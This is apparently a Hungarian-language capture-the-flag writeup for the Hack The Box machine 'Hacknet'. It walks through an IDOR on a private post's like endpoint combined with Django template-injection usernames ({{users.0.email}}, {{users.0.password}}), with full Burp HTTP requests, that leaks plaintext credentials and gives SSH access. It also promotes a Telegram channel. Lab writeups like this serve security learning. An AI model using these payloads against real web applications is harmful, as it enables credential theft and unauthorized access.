Hacknet — HTB Writeup
Platform: Linux
IP: 10.129.109.173
Difficulty: Medium
Author: NoSec
mélyebbre mennél? csatlakozz a backdoor crew-hoz és kapj exkluzív videókat & korai hozzáférést a root chainekhez.
💀 csatlakozz a backdoor crew-hozRecon (röviden)
nmap -sVC hacknet.htb
22/tcp– OpenSSH 9.2p1 (Debian 12)80/tcp– nginx 1.22.1 → webapp: HackNet (Django)
Tedd a domaint a hosts-ba:
10.129.109.173 hacknet.htb
Vuln chain: IDOR + SSTI → email & jelszó dump (Burp)
A webappban a like funkció IDOR-szerűen elérhető privát posztra is, és a likes listában a likelők profilképe <img title="..."> attribútumban a felhasználónevet jeleníti meg.
Cél poszt
- Privát poszt ID: 23 (backdoor_bandit)
Lépések
1) Username átállítása template-re
- Böngészőben menj: http://hacknet.htb/profile/edit
- Írd be Username mezőbe:
- Email leakhez: {{users.0.email}}
- Jelszó leakhez: {{users.0.password}}
- Save (vagy csináld ugyanezt Burp Intercept → módosítsd a username mezőt a POST /profile/edit kérésben).
2) Like-old a privát posztot (azonos sessionben!)
- Burp Repeater-ben küldd el (fontos a X-Requested-With: XMLHttpRequest és a saját cookieid):
GET /like/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=Sajat-Token; sessionid=Sajat-Token
Priority: u=0
Content-Length: 10
3) Listázd a likelőket ugyanazzal a sessionnel:
GET /likes/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=0P85nKc4gSutHANVb1kpgzTY1OrN3q6V; sessionid=42bkdg22b55on7vi992n3m78jx991vi0
Priority: u=0
Content-Length: 10
4) Olvasd ki az eredményt
- A válasz egy HTML darab, több ilyesmi elemmel:
html
<div class="likes-review-item">
<a href="/profile/27"><img src="/media/profile.png" title="ITT LESZ A RENDERELT EMAIL"></a>
</div>
- A saját profilodhoz tartozó <img ... title="..."> mezőben megjelenik a template kimenete:
- Ha a username {{users.0.email}} volt → email jelenik meg
- Ha a username {{users.0.password}} volt → jelszó (itt plaintext, nem hash)
Megjegyzés: ha üres a
title, ellenőrizd, hogy biztosan like-oltad a posztot (ha kell, küldd el a/like/23-at még egyszer), és ugyanazzal a sessionnel nézed a/likes/23-at. A listában keresd a saját profil ID-det (pl./profile/27).
SSH bejelentkezés
Miután megvan a target email + jelszó, simán próbáld SSH-n:
ssh <username>@hacknet.htb
# password: <a likes/23-ból megszerzett plaintext jelszó>
TL;DR
- Username mezőbe SSTI:
{{users.0.email}}→/like/23→/likes/23→ email a saját entrytitleattribútumában. - Csere:
{{users.0.password}}→ ismét/like/23→/likes/23→ plaintext jelszó atitle-ben. - SSH: email/jelszó párossal belépés → user.
🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn
☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben
💻 támogasd a nosec-et